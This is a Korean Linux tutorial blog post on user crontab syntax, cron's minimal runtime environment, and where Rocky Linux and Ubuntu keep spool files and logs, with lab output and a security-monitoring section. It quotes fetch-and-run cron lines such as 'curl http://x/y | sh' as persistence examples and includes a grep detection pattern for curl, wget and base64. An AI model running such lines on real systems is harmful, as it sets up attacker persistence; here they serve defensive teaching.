서비스 · 프로세스 관리 33 / 50 · Part 4. 로그·스케줄링·운영
실습 환경: Rocky Linux 9.8 · Ubuntu 24.04.5 (systemd로 부팅한 Docker 격리 컨테이너, 테스트 계정 analyst)

1. 들어가며

백업, 로그 정리, 인증서 갱신 같은 반복 작업은 오랫동안 cron 이 맡아 왔다. 그리고 같은 이유로 cron은 공격자가 가장 즐겨 쓰는 지속성 수단이기도 하다. * * * * * curl http://x/y | sh 한 줄이면 매분 악성 코드를 다시 내려받는다.

이번 글에서는 crontab 문법을 정리하고, 실제로 매분 실행되는 작업을 등록해 실행 환경(PATH·SHELL)이 로그인 셸과 어떻게 다른지 확인한다. 그리고 Rocky와 Ubuntu에서 crontab 파일 위치와 실행 로그가 어떻게 다른지, 관제에서 무엇을 봐야 하는지 정리한다.

「리눅스 시스템 기초 38편」에서 cron 기초를 다뤘다. 이번 편(사용자 crontab)과 34편(시스템 cron·anacron), 45편(cron 지속성 탐지)으로 이어진다.


2. 핵심 개념

2-1. crontab 문법

필드범위예
분0–59*/15 = 15분마다
시0–232 = 새벽 2시
일1–311,15 = 1일과 15일
월1–12* = 매월
요일0–7 (0·7 = 일요일)1-5 = 평일
명령셸 명령/opt/backup.sh
표기의미
*모든 값
,목록 (1,15)
-범위 (1-5)
/간격 (*/10)
@reboot 등특수 문자열 (그림 참고)

2-2. 주의할 규칙

규칙설명
% 는 줄바꿈명령 안의 %는 줄바꿈으로 바뀌고 이후는 표준입력 이 된다. date +%F는 date +\%F로 써야 한다
최소 환경cron은 로그인 셸 초기화 파일을 읽지 않는다. PATH가 /usr/bin:/bin 수준이라 명령은 절대 경로 로 쓴다
출력표준 출력·에러는 메일(MAILTO)로 가거나 버려진다. 파일로 리다이렉션한다
일과 요일둘 다 지정하면 OR 조건 (둘 중 하나만 맞아도 실행)

2-3. 관리 명령과 위치

항목Rocky Linux 9Ubuntu 24.04
데몬 / unitcrond / crond.servicecron / cron.service
사용자 crontab/var/spool/cron/USER/var/spool/cron/crontabs/USER
실행 로그 태그CROND (journal), /var/log/cron (rsyslog)CRON (journal), /var/log/syslog
사용 제한/etc/cron.allow, /etc/cron.deny동일
명령동작
crontab -e편집기로 편집 (문법 검사 후 설치)
crontab 파일 / crontab -파일·표준입력 내용으로 전체 교체
crontab -l목록
crontab -r전체 삭제 (확인 없음)
crontab -u USER ...root가 다른 사용자 crontab 관리

3. 동작 원리

crontab 한 줄의 구조와 cron 실행 흐름

매분 0초 → crond 가 모든 스풀 파일 확인 (변경되면 다시 읽음)
  → 현재 시각과 맞는 줄 발견
  → fork → 해당 사용자로 setuid → 최소 환경변수 설정 (HOME, LOGNAME, SHELL=/bin/sh, PATH=/usr/bin:/bin)
  → /bin/sh -c "명령" 실행
  → 시작 기록: CROND[pid]: (analyst) CMD (명령)
  → 종료 기록: CMDEND (Rocky cronie)

crontab 명령은 SUID/SGID로 동작해, 일반 사용자가 직접 읽을 수 없는 스풀 디렉터리 에 자기 파일만 쓸 수 있게 해 준다.


4. 명령어 실습

# 1) (Rocky, analyst) 매분 실행 작업 등록 — % 는 \% 로
printf '# 매분 실행: 시각과 환경 기록\n* * * * * date "+\\%%F \\%%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log\n' | crontab -
crontab -l
ls -l /var/spool/cron/                  # 일반 사용자는 스풀 디렉터리를 볼 수 없다
sleep $((62 - $(date +%S))); cat ~/cron.log

# 2) (Rocky, root) 실행 흔적과 스풀 파일
journalctl -t CROND --since "-3min" --no-pager -o short-iso | tail -4
cat /var/spool/cron/analyst
ls -l /etc/cron.allow /etc/cron.deny
crontab -u analyst -r; crontab -u analyst -l

# 3) (Ubuntu, analyst) 위치와 로그 권한 차이
echo '* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log' | crontab -
sudo ls -l /var/spool/cron/crontabs/
sleep $((62 - $(date +%S))); cat ~/cron.log
journalctl -t CRON --since "-2min" --no-pager -o short-iso | tail -3
crontab -r; crontab -l

5. 실행 결과

실제 실행 결과 — Rocky Linux 9.8 · analyst@rocky9-lab — crontab 등록과 실행 확인

실제 실행 결과 — Rocky Linux 9.8 · root@rocky9-lab — cron 실행 흔적 (journal)

실제 실행 결과 — Ubuntu 24.04.5 · analyst@ubuntu-lab — Ubuntu: 경로와 로그 차이

텍스트 원본(실제 출력):

[analyst@rocky9-lab ~]$ printf '# 매분 실행: 시각과 환경 기록\n* * * * * date "+\\%%F \\%%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log\n' | crontab -
[analyst@rocky9-lab ~]$ crontab -l
# 매분 실행: 시각과 환경 기록
* * * * * date "+\%F \%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log
[analyst@rocky9-lab ~]$ ls -l /var/spool/cron/
ls: cannot open directory '/var/spool/cron/': Permission denied
[analyst@rocky9-lab ~]$ sleep $((62 - $(date +%S))); cat ~/cron.log
2026-09-24 12:28:01 cron-run
PATH=/usr/bin:/bin SHELL=/bin/sh
[root@rocky9-lab ~]# journalctl -t CROND --since "-3min" --no-pager -o short-iso | tail -4
2026-09-24T12:26:01+0000 rocky9-lab CROND[4968]: (analyst) CMD (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:26:01+0000 rocky9-lab CROND[4943]: (analyst) CMDEND (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:28:01+0000 rocky9-lab CROND[5241]: (analyst) CMD (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:28:01+0000 rocky9-lab CROND[5239]: (analyst) CMDEND (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
[root@rocky9-lab ~]# cat /var/spool/cron/analyst
# 매분 실행: 시각과 환경 기록
* * * * * date "+\%F \%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log
[root@rocky9-lab ~]# ls -l /etc/cron.allow /etc/cron.deny 2>&1
ls: cannot access '/etc/cron.allow': No such file or directory
-rw-r--r-- 1 root root 0 Dec 29  2025 /etc/cron.deny
[root@rocky9-lab ~]# crontab -u analyst -r; crontab -u analyst -l
no crontab for analyst
analyst@ubuntu-lab:~$ echo '* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log' | crontab -
analyst@ubuntu-lab:~$ crontab -l
* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log
analyst@ubuntu-lab:~$ sudo ls -l /var/spool/cron/crontabs/
total 4
-rw------- 1 analyst crontab 243 Sep 24 12:28 analyst
analyst@ubuntu-lab:~$ sleep $((62 - $(date +%S))); cat ~/cron.log
ubuntu cron 12:29:01
analyst@ubuntu-lab:~$ journalctl -t CRON --since "-2min" --no-pager -o short-iso | tail -3
Hint: You are currently not seeing messages from other users and the system.
      Users in groups 'adm', 'systemd-journal' can see all messages.
      Pass -q to turn off this notice.
-- No entries --
analyst@ubuntu-lab:~$ crontab -r; crontab -l
no crontab for analyst

6. 결과 해석

관찰의미
crontab -l에 date "+\%F \%T cron-run"%가 이스케이프된 형태로 저장되었다
ls /var/spool/cron/ → Permission denied일반 사용자는 다른 사람의 crontab 목록을 볼 수 없다
cron.log: 2026-09-24 12:28:01 cron-run매분 0초 직후(01초)에 실행되었다
PATH=/usr/bin:/bin SHELL=/bin/sh로그인 셸과 다른 최소 환경. /usr/sbin, /usr/local/bin이 없어 명령을 못 찾는 장애의 원인이 된다
journal CROND[5241]: (analyst) CMD (...) / CMDEND (...)Rocky(cronie)는 시작과 종료를 모두 기록한다. 괄호 안이 실행 계정
root가 본 /var/spool/cron/analyst스풀 파일 = crontab 내용 그대로. 점검 시 이 디렉터리를 직접 본다
cron.allow 없음, cron.deny 빈 파일allow가 없고 deny가 비어 있으면 모든 사용자가 cron 사용 가능
crontab -r 후 no crontab for analyst확인 없이 전체 삭제된다
Ubuntu 스풀 -rw------- analyst crontab ... analyst파일은 사용자 소유, crontab 그룹. 243바이트는 Ubuntu가 자동으로 붙이는 주석 헤더 때문이다
Ubuntu cron.log: ubuntu cron 12:29:01같은 방식으로 동작
Ubuntu analyst의 journalctl → -- No entries --, 권한 안내Ubuntu는 adm/systemd-journal 그룹이 아니면 시스템 로그를 볼 수 없다. cron 로그는 시스템 로그라 보이지 않았다

7. 보안 관점

주제내용
지속성사용자 권한만으로 등록할 수 있는 가장 쉬운 지속성. 웹 서비스 계정(apache, www-data)에 crontab이 있으면 강한 침해 신호 다 (MITRE T1053.003)
파일 직접 작성공격자는 crontab 명령 대신 스풀 파일을 직접 쓰기도 한다. 이 경우 crond가 변경을 감지해 RELOAD 로그를 남긴다
사용 제한서비스 계정·일반 계정의 cron 사용이 필요 없으면 /etc/cron.allow에 허용 계정만 적는다
PATH 하이재킹root crontab이 상대 경로 명령을 쓰고 PATH에 쓰기 가능한 디렉터리가 있으면 권한 상승 경로가 된다
로그 가시성실행 기록은 CMD 로그로 남지만 명령의 출력은 남지 않는다. 무엇을 했는지는 다른 증거(파일, 네트워크)로 확인해야 한다

8. 보안관제 관점

[Detection]  journal: CROND[...]: (apache) CMD (curl -fsSL http://203.0.113.9/x | sh)
     ↓
[확인]       cat /var/spool/cron/apache            (Ubuntu: /var/spool/cron/crontabs/www-data)
             ls -l --time-style=full-iso /var/spool/cron/
     ↓
[판단]       웹 서비스 계정 crontab + 외부 다운로드·실행 → 웹 침해 후 지속성
     ↓
[Response]   crontab -u apache -r (증거 사본 먼저) → 다운로드 URL 차단 → 웹 침투 경로 조사
             → 45편 cron 지속성 전수 점검
점검 명령목적
ls -la /var/spool/cron/ (Ubuntu: .../crontabs/)crontab을 가진 계정 목록
for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null \| sed "s/^/$u: /"; done전 계정 crontab
journalctl -t CROND --since today -o cat \| grep -v '(root)'root 외 계정의 cron 실행
grep -rE 'curl\|wget\|base64\|/tmp/\|/dev/shm' /var/spool/cron/위험 패턴

9. 실무에서 자주 발생하는 실수

실수결과예방
date +%F를 그대로 사용명령이 잘려 실행됨\% 이스케이프
상대 경로 명령"command not found" (PATH 차이)절대 경로 또는 crontab 상단에 PATH 지정
출력 리다이렉션 누락오류를 알 수 없음>> log 2>&1
crontab -r과 -e 오타전체 삭제등록 파일을 따로 관리하고 crontab 파일로 설치
작업이 1분 넘게 걸림중복 실행 누적flock -n /tmp/job.lock cmd

10. 실습 체크리스트

[ ] 다섯 필드 문법과 */, -, , 표기를 설명할 수 있다
[ ] % 를 \% 로 이스케이프해 등록했다
[ ] cron 실행 환경의 PATH 가 /usr/bin:/bin 인 것을 확인했다
[ ] Rocky 의 /var/spool/cron/USER 와 CROND CMD 로그를 확인했다
[ ] Ubuntu 의 /var/spool/cron/crontabs/USER 위치를 확인했다
[ ] 일반 사용자가 시스템 로그를 볼 수 없는 권한 차이를 확인했다

11. 핵심 정리

  • crontab은 분 시 일 월 요일 명령 형식이며, 명령 안의 %는 \%로 써야 한다.
  • cron은 최소 환경(PATH=/usr/bin:/bin, SHELL=/bin/sh)으로 실행되므로 절대 경로를 쓴다.
  • 사용자 crontab 위치: Rocky /var/spool/cron/USER, Ubuntu /var/spool/cron/crontabs/USER.
  • 실행 기록은 journal의 CROND/CRON 태그에 (계정) CMD (명령) 형식으로 남는다.
  • 서비스 계정 crontab, 외부 다운로드 명령은 대표적인 지속성 탐지 포인트다.

12. 다음 편 예고

다음 글 「34. 시스템 cron과 anacron」 에서는 사용자 crontab이 아닌 시스템 영역 — /etc/crontab, /etc/cron.d/, cron.daily 같은 주기 디렉터리, 그리고 꺼져 있던 동안 놓친 작업을 실행해 주는 anacron의 구조를 Rocky와 Ubuntu에서 비교한다.


참고 자료


시리즈 이동

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글